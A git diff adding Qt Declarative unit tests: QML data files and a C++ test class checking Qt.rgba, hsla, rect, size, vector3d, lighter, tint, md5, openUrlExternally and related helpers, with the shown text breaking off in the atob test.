diff --git a/tests/auto/declarative/qdeclarativeqt/data/hsla.qml b/tests/auto/declarative/qdeclarativeqt/data/hsla.qml
new file mode 100644
index 00000000..3bcc7912
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeqt/data/hsla.qml
@@ -0,0 +1,11 @@
+import QtQuick 1.0
+
+QtObject {
+ property color test1: Qt.hsla(1, 0, 0, 0.8);
+ property color test2: Qt.hsla(1, 0.5, 0.3);
+ property color test3: Qt.hsla(1, 1);
+ property color test4: Qt.hsla(1, 1, 1, 1, 1);
+ property color test5: Qt.hsla(1.2, 1.3, 1.4, 1.5);
+ property color test6: Qt.hsla(-0.1, -0.2, -0.3, -0.4);
+}
+
diff --git a/tests/auto/declarative/qdeclarativeqt/data/isQtObject.qml b/tests/auto/declarative/qdeclarativeqt/data/isQtObject.qml
new file mode 100644
index 00000000..37b952d4
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeqt/data/isQtObject.qml
@@ -0,0 +1,14 @@
+import QtQuick 1.0
+
+QtObject {
+ id: root
+
+ property QtObject nullObject
+
+ property bool test1: Qt.isQtObject(root)
+ property bool test2: Qt.isQtObject(nullObject)
+ property bool test3: Qt.isQtObject(10)
+ property bool test4: Qt.isQtObject(null)
+ property bool test5: Qt.isQtObject({ a: 10, b: 11 })
+}
+
diff --git a/tests/auto/declarative/qdeclarativeqt/data/lighter.qml b/tests/auto/declarative/qdeclarativeqt/data/lighter.qml
new file mode 100644
index 00000000..67f0d0f3
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeqt/data/lighter.qml
@@ -0,0 +1,11 @@
+import QtQuick 1.0
+
+QtObject {
+ property variant test1: Qt.lighter(Qt.rgba(1, 0.8, 0.3))
+ property variant test2: Qt.lighter()
+ property variant test3: Qt.lighter(Qt.rgba(1, 0.8, 0.3), 1.8)
+ property variant test4: Qt.lighter("red");
+ property variant test5: Qt.lighter("perfectred"); // Non-existant color
+ property variant test6: Qt.lighter(10);
+ property variant test7: Qt.lighter(Qt.rgba(1, 0.8, 0.3), 1.8, 5)
+}
diff --git a/tests/auto/declarative/qdeclarativeqt/data/md5.qml b/tests/auto/declarative/qdeclarativeqt/data/md5.qml
new file mode 100644
index 00000000..32e90c04
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeqt/data/md5.qml
@@ -0,0 +1,6 @@
+import QtQuick 1.0
+
+QtObject {
+ property string test1: Qt.md5()
+ property string test2: Qt.md5("Hello World")
+}
diff --git a/tests/auto/declarative/qdeclarativeqt/data/openUrlExternally.qml b/tests/auto/declarative/qdeclarativeqt/data/openUrlExternally.qml
new file mode 100644
index 00000000..dc4049c9
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeqt/data/openUrlExternally.qml
@@ -0,0 +1,8 @@
+import QtQuick 1.0
+
+QtObject {
+ Component.onCompleted: Qt.openUrlExternally("test:url")
+
+ property bool testFile
+ onTestFileChanged: Qt.openUrlExternally("test.html")
+}
diff --git a/tests/auto/declarative/qdeclarativeqt/data/openUrlExternally_lib.js b/tests/auto/declarative/qdeclarativeqt/data/openUrlExternally_lib.js
new file mode 100644
index 00000000..702357af
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeqt/data/openUrlExternally_lib.js
@@ -0,0 +1,9 @@
+.pragma library
+
+function loadTest() {
+ Qt.openUrlExternally("test:url")
+}
+
+function loadFile() {
+ Qt.openUrlExternally("test.html")
+}
diff --git a/tests/auto/declarative/qdeclarativeqt/data/openUrlExternally_lib.qml b/tests/auto/declarative/qdeclarativeqt/data/openUrlExternally_lib.qml
new file mode 100644
index 00000000..456653b8
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeqt/data/openUrlExternally_lib.qml
@@ -0,0 +1,9 @@
+import QtQuick 1.0
+import "openUrlExternally_lib.js" as Test
+
+Item {
+ Component.onCompleted: Test.loadTest();
+
+ property bool testFile
+ onTestFileChanged: Test.loadFile();
+}
diff --git a/tests/auto/declarative/qdeclarativeqt/data/point.qml b/tests/auto/declarative/qdeclarativeqt/data/point.qml
new file mode 100644
index 00000000..8b0188ea
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeqt/data/point.qml
@@ -0,0 +1,9 @@
+import QtQuick 1.0
+
+QtObject {
+ property variant test1: Qt.point(19, 34);
+ property variant test2: Qt.point(-3, 109.2);
+ property variant test3: Qt.point(-3);
+ property variant test4: Qt.point(-3, 109.2, 1);
+}
+
diff --git a/tests/auto/declarative/qdeclarativeqt/data/quit.qml b/tests/auto/declarative/qdeclarativeqt/data/quit.qml
new file mode 100644
index 00000000..62564a64
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeqt/data/quit.qml
@@ -0,0 +1,5 @@
+import QtQuick 1.0
+
+QtObject {
+ Component.onCompleted: Qt.quit()
+}
diff --git a/tests/auto/declarative/qdeclarativeqt/data/rect.qml b/tests/auto/declarative/qdeclarativeqt/data/rect.qml
new file mode 100644
index 00000000..872bf50e
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeqt/data/rect.qml
@@ -0,0 +1,9 @@
+import QtQuick 1.0
+
+QtObject {
+ property variant test1: Qt.rect(10, 13, 100, 109)
+ property variant test2: Qt.rect(-10, 13, 100, 109.6)
+ property variant test3: Qt.rect(10, 13);
+ property variant test4: Qt.rect(10, 13, 100, 109, 10)
+ property variant test5: Qt.rect(10, 13, 100, -109)
+}
diff --git a/tests/auto/declarative/qdeclarativeqt/data/rgba.qml b/tests/auto/declarative/qdeclarativeqt/data/rgba.qml
new file mode 100644
index 00000000..bbafc6d9
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeqt/data/rgba.qml
@@ -0,0 +1,10 @@
+import QtQuick 1.0
+
+QtObject {
+ property color test1: Qt.rgba(1, 0, 0, 0.8);
+ property color test2: Qt.rgba(1, 0.5, 0.3);
+ property color test3: Qt.rgba(1, 1);
+ property color test4: Qt.rgba(1, 1, 1, 1, 1);
+ property color test5: Qt.rgba(1.2, 1.3, 1.4, 1.5);
+ property color test6: Qt.rgba(-0.1, -0.2, -0.3, -0.4);
+}
diff --git a/tests/auto/declarative/qdeclarativeqt/data/size.qml b/tests/auto/declarative/qdeclarativeqt/data/size.qml
new file mode 100644
index 00000000..8e102eb6
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeqt/data/size.qml
@@ -0,0 +1,11 @@
+import QtQuick 1.0
+
+QtObject {
+ property variant test1: Qt.size(19, 34);
+ property variant test2: Qt.size(3, 109.2);
+ property variant test3: Qt.size(-3, 10);
+ property variant test4: Qt.size(3);
+ property variant test5: Qt.size(3, 109.2, 1);
+}
+
+
diff --git a/tests/auto/declarative/qdeclarativeqt/data/tint.qml b/tests/auto/declarative/qdeclarativeqt/data/tint.qml
new file mode 100644
index 00000000..f8738865
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeqt/data/tint.qml
@@ -0,0 +1,9 @@
+import QtQuick 1.0
+
+QtObject {
+ property color test1: Qt.tint("red", "blue");
+ property color test2: Qt.tint(Qt.rgba(1, 0, 0), Qt.rgba(0, 0, 0, 0));
+ property color test3: Qt.tint("red", Qt.rgba(0, 0, 1, 0.5));
+ property color test4: Qt.tint("red", Qt.rgba(0, 0, 1, 0.5), 10);
+ property color test5: Qt.tint("red")
+}
diff --git a/tests/auto/declarative/qdeclarativeqt/data/vector.qml b/tests/auto/declarative/qdeclarativeqt/data/vector.qml
new file mode 100644
index 00000000..f494fe05
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeqt/data/vector.qml
@@ -0,0 +1,8 @@
+import QtQuick 1.0
+
+QtObject {
+ property variant test1: Qt.vector3d(1, 0, 0.9);
+ property variant test2: Qt.vector3d(102, -10, -982.1);
+ property variant test3: Qt.vector3d(102, -10);
+ property variant test4: Qt.vector3d(102, -10, -982.1, 10);
+}
diff --git a/tests/auto/declarative/qdeclarativeqt/qdeclarativeqt.pro b/tests/auto/declarative/qdeclarativeqt/qdeclarativeqt.pro
new file mode 100644
index 00000000..4b197ebf
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeqt/qdeclarativeqt.pro
@@ -0,0 +1,18 @@
+load(qttest_p4)
+contains(QT_CONFIG,declarative): QT += declarative script
+SOURCES += tst_qdeclarativeqt.cpp
+macx:CONFIG -= app_bundle
+
+symbian: {
+ importFiles.files = data
+ importFiles.path = .
+ DEPLOYMENT += importFiles
+} else {
+ DEFINES += SRCDIR=\\\"$$PWD\\\"
+}
+
+# QMAKE_CXXFLAGS = -fprofile-arcs -ftest-coverage
+# LIBS += -lgcov
+
+CONFIG += parallel_test
+
diff --git a/tests/auto/declarative/qdeclarativeqt/tst_qdeclarativeqt.cpp b/tests/auto/declarative/qdeclarativeqt/tst_qdeclarativeqt.cpp
new file mode 100644
index 00000000..9a5e4600
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeqt/tst_qdeclarativeqt.cpp
@@ -0,0 +1,608 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the test suite of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+#include <private/qdeclarativeengine_p.h>
+
+#include <qtest.h>
+#include <QDebug>
+#include <QDeclarativeEngine>
+#include <QFontDatabase>
+#include <QFileInfo>
+#include <QDeclarativeComponent>
+#include <QDesktopServices>
+#include <QDir>
+#include <QVector3D>
+#include <QCryptographicHash>
+#include <QDeclarativeItem>
+#include <QSignalSpy>
+
+#ifdef Q_OS_SYMBIAN
+// In Symbian OS test data is located in applications private dir
+#define SRCDIR "."
+#endif
+
+class tst_qdeclarativeqt : public QObject
+{
+ Q_OBJECT
+public:
+ tst_qdeclarativeqt() {}
+
+private slots:
+ void enums();
+ void rgba();
+ void hsla();
+ void rect();
+ void point();
+ void size();
+ void vector();
+ void lighter();
+ void darker();
+ void tint();
+ void openUrlExternally();
+ void openUrlExternally_pragmaLibrary();
+ void md5();
+ void createComponent();
+ void createComponent_pragmaLibrary();
+ void createQmlObject();
+ void consoleLog();
+ void dateTimeFormatting();
+ void dateTimeFormatting_data();
+ void isQtObject();
+ void btoa();
+ void atob();
+ void fontFamilies();
+ void quit();
+
+private:
+ QDeclarativeEngine engine;
+};
+
+inline QUrl TEST_FILE(const QString &filename)
+{
+ return QUrl::fromLocalFile(QLatin1String(SRCDIR) + QLatin1String("/data/") + filename);
+}
+
+void tst_qdeclarativeqt::enums()
+{
+ QDeclarativeComponent component(&engine, TEST_FILE("enums.qml"));
+ QObject *object = component.create();
+ QVERIFY(object != 0);
+
+ QCOMPARE(object->property("test1").toInt(), (int)Qt::Key_Escape);
+ QCOMPARE(object->property("test2").toInt(), (int)Qt::DescendingOrder);
+ QCOMPARE(object->property("test3").toInt(), (int)Qt::ElideMiddle);
+ QCOMPARE(object->property("test4").toInt(), (int)Qt::AlignRight);
+
+ delete object;
+}
+
+void tst_qdeclarativeqt::rgba()
+{
+ QDeclarativeComponent component(&engine, TEST_FILE("rgba.qml"));
+
+ QString warning1 = component.url().toString() + ":6: Error: Qt.rgba(): Invalid arguments";
+ QString warning2 = component.url().toString() + ":7: Error: Qt.rgba(): Invalid arguments";
+ QTest::ignoreMessage(QtWarningMsg, qPrintable(warning1));
+ QTest::ignoreMessage(QtWarningMsg, qPrintable(warning2));
+
+ QObject *object = component.create();
+ QVERIFY(object != 0);
+
+
+ QCOMPARE(qvariant_cast<QColor>(object->property("test1")), QColor::fromRgbF(1, 0, 0, 0.8));
+ QCOMPARE(qvariant_cast<QColor>(object->property("test2")), QColor::fromRgbF(1, 0.5, 0.3, 1));
+ QCOMPARE(qvariant_cast<QColor>(object->property("test3")), QColor());
+ QCOMPARE(qvariant_cast<QColor>(object->property("test4")), QColor());
+ QCOMPARE(qvariant_cast<QColor>(object->property("test5")), QColor::fromRgbF(1, 1, 1, 1));
+ QCOMPARE(qvariant_cast<QColor>(object->property("test6")), QColor::fromRgbF(0, 0, 0, 0));
+
+ delete object;
+}
+
+void tst_qdeclarativeqt::hsla()
+{
+ QDeclarativeComponent component(&engine, TEST_FILE("hsla.qml"));
+
+ QString warning1 = component.url().toString() + ":6: Error: Qt.hsla(): Invalid arguments";
+ QString warning2 = component.url().toString() + ":7: Error: Qt.hsla(): Invalid arguments";
+ QTest::ignoreMessage(QtWarningMsg, qPrintable(warning1));
+ QTest::ignoreMessage(QtWarningMsg, qPrintable(warning2));
+
+ QObject *object = component.create();
+ QVERIFY(object != 0);
+
+ QCOMPARE(qvariant_cast<QColor>(object->property("test1")), QColor::fromHslF(1, 0, 0, 0.8));
+ QCOMPARE(qvariant_cast<QColor>(object->property("test2")), QColor::fromHslF(1, 0.5, 0.3, 1));
+ QCOMPARE(qvariant_cast<QColor>(object->property("test3")), QColor());
+ QCOMPARE(qvariant_cast<QColor>(object->property("test4")), QColor());
+ QCOMPARE(qvariant_cast<QColor>(object->property("test5")), QColor::fromHslF(1, 1, 1, 1));
+ QCOMPARE(qvariant_cast<QColor>(object->property("test6")), QColor::fromHslF(0, 0, 0, 0));
+
+ delete object;
+}
+
+void tst_qdeclarativeqt::rect()
+{
+ QDeclarativeComponent component(&engine, TEST_FILE("rect.qml"));
+
+ QString warning1 = component.url().toString() + ":6: Error: Qt.rect(): Invalid arguments";
+ QString warning2 = component.url().toString() + ":7: Error: Qt.rect(): Invalid arguments";
+ QTest::ignoreMessage(QtWarningMsg, qPrintable(warning1));
+ QTest::ignoreMessage(QtWarningMsg, qPrintable(warning2));
+
+ QObject *object = component.create();
+ QVERIFY(object != 0);
+
+ QCOMPARE(qvariant_cast<QRectF>(object->property("test1")), QRectF(10, 13, 100, 109));
+ QCOMPARE(qvariant_cast<QRectF>(object->property("test2")), QRectF(-10, 13, 100, 109.6));
+ QCOMPARE(qvariant_cast<QRectF>(object->property("test3")), QRectF());
+ QCOMPARE(qvariant_cast<QRectF>(object->property("test4")), QRectF());
+ QCOMPARE(qvariant_cast<QRectF>(object->property("test5")), QRectF(10, 13, 100, -109));
+
+ delete object;
+}
+
+void tst_qdeclarativeqt::point()
+{
+ QDeclarativeComponent component(&engine, TEST_FILE("point.qml"));
+
+ QString warning1 = component.url().toString() + ":6: Error: Qt.point(): Invalid arguments";
+ QString warning2 = component.url().toString() + ":7: Error: Qt.point(): Invalid arguments";
+ QTest::ignoreMessage(QtWarningMsg, qPrintable(warning1));
+ QTest::ignoreMessage(QtWarningMsg, qPrintable(warning2));
+
+ QObject *object = component.create();
+ QVERIFY(object != 0);
+
+ QCOMPARE(qvariant_cast<QPointF>(object->property("test1")), QPointF(19, 34));
+ QCOMPARE(qvariant_cast<QPointF>(object->property("test2")), QPointF(-3, 109.2));
+ QCOMPARE(qvariant_cast<QPointF>(object->property("test3")), QPointF());
+ QCOMPARE(qvariant_cast<QPointF>(object->property("test4")), QPointF());
+
+ delete object;
+}
+
+void tst_qdeclarativeqt::size()
+{
+ QDeclarativeComponent component(&engine, TEST_FILE("size.qml"));
+
+ QString warning1 = component.url().toString() + ":7: Error: Qt.size(): Invalid arguments";
+ QString warning2 = component.url().toString() + ":8: Error: Qt.size(): Invalid arguments";
+ QTest::ignoreMessage(QtWarningMsg, qPrintable(warning1));
+ QTest::ignoreMessage(QtWarningMsg, qPrintable(warning2));
+
+ QObject *object = component.create();
+ QVERIFY(object != 0);
+
+ QCOMPARE(qvariant_cast<QSizeF>(object->property("test1")), QSizeF(19, 34));
+ QCOMPARE(qvariant_cast<QSizeF>(object->property("test2")), QSizeF(3, 109.2));
+ QCOMPARE(qvariant_cast<QSizeF>(object->property("test3")), QSizeF(-3, 10));
+ QCOMPARE(qvariant_cast<QSizeF>(object->property("test4")), QSizeF());
+ QCOMPARE(qvariant_cast<QSizeF>(object->property("test5")), QSizeF());
+
+ delete object;
+}
+
+void tst_qdeclarativeqt::vector()
+{
+ QDeclarativeComponent component(&engine, TEST_FILE("vector.qml"));
+
+ QString warning1 = component.url().toString() + ":6: Error: Qt.vector(): Invalid arguments";
+ QString warning2 = component.url().toString() + ":7: Error: Qt.vector(): Invalid arguments";
+ QTest::ignoreMessage(QtWarningMsg, qPrintable(warning1));
+ QTest::ignoreMessage(QtWarningMsg, qPrintable(warning2));
+
+ QObject *object = component.create();
+ QVERIFY(object != 0);
+
+ QCOMPARE(qvariant_cast<QVector3D>(object->property("test1")), QVector3D(1, 0, 0.9));
+ QCOMPARE(qvariant_cast<QVector3D>(object->property("test2")), QVector3D(102, -10, -982.1));
+ QCOMPARE(qvariant_cast<QVector3D>(object->property("test3")), QVector3D());
+ QCOMPARE(qvariant_cast<QVector3D>(object->property("test4")), QVector3D());
+
+ delete object;
+}
+
+void tst_qdeclarativeqt::lighter()
+{
+ QDeclarativeComponent component(&engine, TEST_FILE("lighter.qml"));
+
+ QString warning1 = component.url().toString() + ":5: Error: Qt.lighter(): Invalid arguments";
+ QString warning2 = component.url().toString() + ":10: Error: Qt.lighter(): Invalid arguments";
+ QTest::ignoreMessage(QtWarningMsg, qPrintable(warning1));
+ QTest::ignoreMessage(QtWarningMsg, qPrintable(warning2));
+
+ QObject *object = component.create();
+ QVERIFY(object != 0);
+
+ QCOMPARE(qvariant_cast<QColor>(object->property("test1")), QColor::fromRgbF(1, 0.8, 0.3).lighter());
+ QCOMPARE(qvariant_cast<QColor>(object->property("test2")), QColor());
+ QCOMPARE(qvariant_cast<QColor>(object->property("test3")), QColor::fromRgbF(1, 0.8, 0.3).lighter(180));
+ QCOMPARE(qvariant_cast<QColor>(object->property("test4")), QColor("red").lighter());
+ QCOMPARE(qvariant_cast<QColor>(object->property("test5")), QColor());
+ QCOMPARE(qvariant_cast<QColor>(object->property("test6")), QColor());
+
+ delete object;
+}
+
+void tst_qdeclarativeqt::darker()
+{
+ QDeclarativeComponent component(&engine, TEST_FILE("darker.qml"));
+
+ QString warning1 = component.url().toString() + ":5: Error: Qt.darker(): Invalid arguments";
+ QString warning2 = component.url().toString() + ":10: Error: Qt.darker(): Invalid arguments";
+ QTest::ignoreMessage(QtWarningMsg, qPrintable(warning1));
+ QTest::ignoreMessage(QtWarningMsg, qPrintable(warning2));
+
+ QObject *object = component.create();
+ QVERIFY(object != 0);
+
+ QCOMPARE(qvariant_cast<QColor>(object->property("test1")), QColor::fromRgbF(1, 0.8, 0.3).darker());
+ QCOMPARE(qvariant_cast<QColor>(object->property("test2")), QColor());
+ QCOMPARE(qvariant_cast<QColor>(object->property("test3")), QColor::fromRgbF(1, 0.8, 0.3).darker(280));
+ QCOMPARE(qvariant_cast<QColor>(object->property("test4")), QColor("red").darker());
+ QCOMPARE(qvariant_cast<QColor>(object->property("test5")), QColor());
+ QCOMPARE(qvariant_cast<QColor>(object->property("test6")), QColor());
+
+ delete object;
+}
+
+void tst_qdeclarativeqt::tint()
+{
+ QDeclarativeComponent component(&engine, TEST_FILE("tint.qml"));
+
+ QString warning1 = component.url().toString() + ":7: Error: Qt.tint(): Invalid arguments";
+ QString warning2 = component.url().toString() + ":8: Error: Qt.tint(): Invalid arguments";
+
+ QTest::ignoreMessage(QtWarningMsg, qPrintable(warning1));
+ QTest::ignoreMessage(QtWarningMsg, qPrintable(warning2));
+
+ QObject *object = component.create();
+ QVERIFY(object != 0);
+
+ QCOMPARE(qvariant_cast<QColor>(object->property("test1")), QColor::fromRgbF(0, 0, 1));
+ QCOMPARE(qvariant_cast<QColor>(object->property("test2")), QColor::fromRgbF(1, 0, 0));
+ QColor test3 = qvariant_cast<QColor>(object->property("test3"));
+ QCOMPARE(test3.rgba(), 0xFF7F0080);
+ QCOMPARE(qvariant_cast<QColor>(object->property("test4")), QColor());
+ QCOMPARE(qvariant_cast<QColor>(object->property("test5")), QColor());
+
+ delete object;
+}
+
+class MyUrlHandler : public QObject
+{
+ Q_OBJECT
+public:
+ MyUrlHandler() : called(0) { }
+ int called;
+ QUrl last;
+
+public slots:
+ void noteCall(const QUrl &url) { called++; last = url; }
+};
+
+void tst_qdeclarativeqt::openUrlExternally()
+{
+ MyUrlHandler handler;
+
+ QDesktopServices::setUrlHandler("test", &handler, "noteCall");
+ QDesktopServices::setUrlHandler("file", &handler, "noteCall");
+
+ QDeclarativeComponent component(&engine, TEST_FILE("openUrlExternally.qml"));
+ QObject *object = component.create();
+ QVERIFY(object != 0);
+ QCOMPARE(handler.called,1);
+ QCOMPARE(handler.last, QUrl("test:url"));
+
+ object->setProperty("testFile", true);
+
+ QCOMPARE(handler.called,2);
+ QCOMPARE(handler.last, TEST_FILE("test.html"));
+
+ QDesktopServices::unsetUrlHandler("test");
+ QDesktopServices::unsetUrlHandler("file");
+}
+
+void tst_qdeclarativeqt::openUrlExternally_pragmaLibrary()
+{
+ MyUrlHandler handler;
+
+ QDesktopServices::setUrlHandler("test", &handler, "noteCall");
+ QDesktopServices::setUrlHandler("file", &handler, "noteCall");
+
+ QDeclarativeComponent component(&engine, TEST_FILE("openUrlExternally_lib.qml"));
+ QObject *object = component.create();
+ QVERIFY(object != 0);
+ QCOMPARE(handler.called,1);
+ QCOMPARE(handler.last, QUrl("test:url"));
+
+ object->setProperty("testFile", true);
+
+ QCOMPARE(handler.called,2);
+ QCOMPARE(handler.last, TEST_FILE("test.html"));
+
+ QDesktopServices::unsetUrlHandler("test");
+ QDesktopServices::unsetUrlHandler("file");
+}
+
+void tst_qdeclarativeqt::md5()
+{
+ QDeclarativeComponent component(&engine, TEST_FILE("md5.qml"));
+
+ QString warning1 = component.url().toString() + ":4: Error: Qt.md5(): Invalid arguments";
+ QTest::ignoreMessage(QtWarningMsg, qPrintable(warning1));
+
+ QObject *object = component.create();
+ QVERIFY(object != 0);
+
+ QCOMPARE(object->property("test2").toString(), QLatin1String(QCryptographicHash::hash("Hello World", QCryptographicHash::Md5).toHex()));
+
+ delete object;
+}
+
+void tst_qdeclarativeqt::createComponent()
+{
+ QDeclarativeComponent component(&engine, TEST_FILE("createComponent.qml"));
+
+ QString warning1 = component.url().toString() + ":9: Error: Qt.createComponent(): Invalid arguments";
+ QString warning2 = component.url().toString() + ":10: Error: Qt.createComponent(): Invalid arguments";
+ QTest::ignoreMessage(QtWarningMsg, qPrintable(warning1));
+ QTest::ignoreMessage(QtWarningMsg, qPrintable(warning2));
+
+ QObject *object = component.create();
+ QVERIFY(object != 0);
+
+ QCOMPARE(object->property("absoluteUrl").toString(), QString("http://www.example.com/test.qml"));
+ QCOMPARE(object->property("relativeUrl").toString(), TEST_FILE("createComponentData.qml").toString());
+
+ delete object;
+}
+
+void tst_qdeclarativeqt::createComponent_pragmaLibrary()
+{
+ // Currently, just loading createComponent_lib.qml causes crash on some platforms
+ QDeclarativeComponent component(&engine, TEST_FILE("createComponent_lib.qml"));
+ QObject *object = component.create();
+ QVERIFY(object != 0);
+ QCOMPARE(object->property("status").toInt(), int(QDeclarativeComponent::Ready));
+ QCOMPARE(object->property("readValue").toInt(), int(1913));
+ delete object;
+}
+
+void tst_qdeclarativeqt::createQmlObject()
+{
+ QDeclarativeComponent component(&engine, TEST_FILE("createQmlObject.qml"));
+
+ QString warning1 = component.url().toString() + ":7: Error: Qt.createQmlObject(): Invalid arguments";
+ QString warning2 = component.url().toString()+ ":10: Error: Qt.createQmlObject() failed to create object: " + TEST_FILE("inline").toString() + ":2:10: Blah is not a type\n";
+ QString warning3 = component.url().toString()+ ":11: Error: Qt.createQmlObject() failed to create object: " + TEST_FILE("main.qml").toString() + ":4:1: Duplicate property name\n";
+ QString warning4 = component.url().toString()+ ":9: Error: Qt.createQmlObject(): Missing parent object";
+ QString warning5 = component.url().toString()+ ":8: Error: Qt.createQmlObject(): Invalid arguments";
+ QString warning6 = "RunTimeError: Qt.createQmlObject() failed to create object: " + TEST_FILE("inline").toString() + ":3: Cannot assign object type QObject with no default method\n";
+
+ QTest::ignoreMessage(QtWarningMsg, qPrintable(warning1));
+ QTest::ignoreMessage(QtWarningMsg, qPrintable(warning2));
+ QTest::ignoreMessage(QtWarningMsg, qPrintable(warning3));
+ QTest::ignoreMessage(QtWarningMsg, qPrintable(warning4));
+ QTest::ignoreMessage(QtWarningMsg, qPrintable(warning5));
+ QTest::ignoreMessage(QtDebugMsg, qPrintable(warning6));
+
+ QObject *object = component.create();
+ QVERIFY(object != 0);
+
+ QCOMPARE(object->property("emptyArg").toBool(), true);
+ QCOMPARE(object->property("success").toBool(), true);
+
+ QDeclarativeItem *item = qobject_cast<QDeclarativeItem *>(object);
+ QVERIFY(item != 0);
+ QVERIFY(item->childItems().count() == 1);
+
+ delete object;
+}
+
+void tst_qdeclarativeqt::consoleLog()
+{
+ QTest::ignoreMessage(QtDebugMsg, "completed ok");
+ QTest::ignoreMessage(QtDebugMsg, "completed ok");
+ QDeclarativeComponent component(&engine, TEST_FILE("consoleLog.qml"));
+ QObject *object = component.create();
+ QVERIFY(object != 0);
+ delete object;
+}
+
+void tst_qdeclarativeqt::dateTimeFormatting()
+{
+ QFETCH(QString, method);
+ QFETCH(QStringList, inputProperties);
+ QFETCH(QStringList, expectedResults);
+
+ QDate date(2008,12,24);
+ QTime time(14,15,38,200);
+ QDateTime dateTime(date, time);
+
+ QDeclarativeEngine eng;
+
+ eng.rootContext()->setContextProperty("qdate", date);
+ eng.rootContext()->setContextProperty("qtime", time);
+ eng.rootContext()->setContextProperty("qdatetime", dateTime);
+
+ QDeclarativeComponent component(&eng, TEST_FILE("formatting.qml"));
+
+ QStringList warnings;
+ warnings << component.url().toString() + ":37: Error: Qt.formatDate(): Invalid date format"
+ << component.url().toString() + ":36: Error: Qt.formatDate(): Invalid arguments"
+ << component.url().toString() + ":40: Error: Qt.formatTime(): Invalid time format"
+ << component.url().toString() + ":39: Error: Qt.formatTime(): Invalid arguments"
+ << component.url().toString() + ":43: Error: Qt.formatDateTime(): Invalid datetime format"
+ << component.url().toString() + ":42: Error: Qt.formatDateTime(): Invalid arguments";
+
+ foreach (const QString &warning, warnings)
+ QTest::ignoreMessage(QtWarningMsg, qPrintable(warning));
+
+ QObject *object = component.create();
+ QVERIFY2(component.errorString().isEmpty(), qPrintable(component.errorString()));
+ QVERIFY(object != 0);
+
+ QVERIFY(inputProperties.count() > 0);
+
+ QVariant result;
+ foreach(const QString &prop, inputProperties) {
+ QVERIFY(QMetaObject::invokeMethod(object, method.toUtf8().constData(),
+ Q_RETURN_ARG(QVariant, result),
+ Q_ARG(QVariant, prop)));
+
+ QStringList output = result.toStringList();
+ for (int i=0; i<output.count(); i++)
+ QCOMPARE(output[i], expectedResults[i]);
+ }
+
+ delete object;
+}
+
+void tst_qdeclarativeqt::dateTimeFormatting_data()
+{
+ QTest::addColumn<QString>("method");
+ QTest::addColumn<QStringList>("inputProperties");
+ QTest::addColumn<QStringList>("expectedResults");
+
+ QDate date(2008,12,24);
+ QTime time(14,15,38,200);
+ QDateTime dateTime(date, time);
+
+ QTest::newRow("formatDate")
+ << "formatDate"
+ << (QStringList() << "dateFromString" << "jsdate" << "qdate" << "qdatetime")
+ << (QStringList() << date.toString(Qt::DefaultLocaleShortDate)
+ << date.toString(Qt::DefaultLocaleLongDate)
+ << date.toString("ddd MMMM d yy"));
+
+ QTest::newRow("formatTime")
+ << "formatTime"
+ << (QStringList() << "jsdate" << "qtime" << "qdatetime")
+ << (QStringList() << time.toString(Qt::DefaultLocaleShortDate)
+ << time.toString(Qt::DefaultLocaleLongDate)
+ << time.toString("H:m:s a")
+ << time.toString("hh:mm:ss.zzz"));
+
+ QTest::newRow("formatDateTime")
+ << "formatDateTime"
+ << (QStringList() << "jsdate" << "qdatetime")
+ << (QStringList() << dateTime.toString(Qt::DefaultLocaleShortDate)
+ << dateTime.toString(Qt::DefaultLocaleLongDate)
+ << dateTime.toString("M/d/yy H:m:s a"));
+}
+
+void tst_qdeclarativeqt::isQtObject()
+{
+ QDeclarativeComponent component(&engine, TEST_FILE("isQtObject.qml"));
+ QObject *object = component.create();
+ QVERIFY(object != 0);
+
+ QCOMPARE(object->property("test1").toBool(), true);
+ QCOMPARE(object->property("test2").toBool(), false);
+ QCOMPARE(object->property("test3").toBool(), false);
+ QCOMPARE(object->property("test4").toBool(), false);
+ QCOMPARE(object->property("test5").toBool(), false);
+
+ delete object;
+}
+
+void tst_qdeclarativeqt::btoa()
+{
+ QDeclarativeComponent component(&engine, TEST_FILE("btoa.qml"));
+
+ QString warning1 = component.url().toString() + ":4: Error: Qt.btoa(): Invalid arguments";
+ QTest::ignoreMessage(QtWarningMsg, qPrintable(warning1));
+
+ QObject *object = component.create();
+ QVERIFY(object != 0);
+
+ QCOMPARE(object->property("test2").toString(), QString("SGVsbG8gd29ybGQh"));
+
+ delete object;
+}
+
+void tst_qdeclarativeqt::atob()
+{
+ QDeclarativeComponent component(&engine, TEST_FILE("atob.qml"));
+
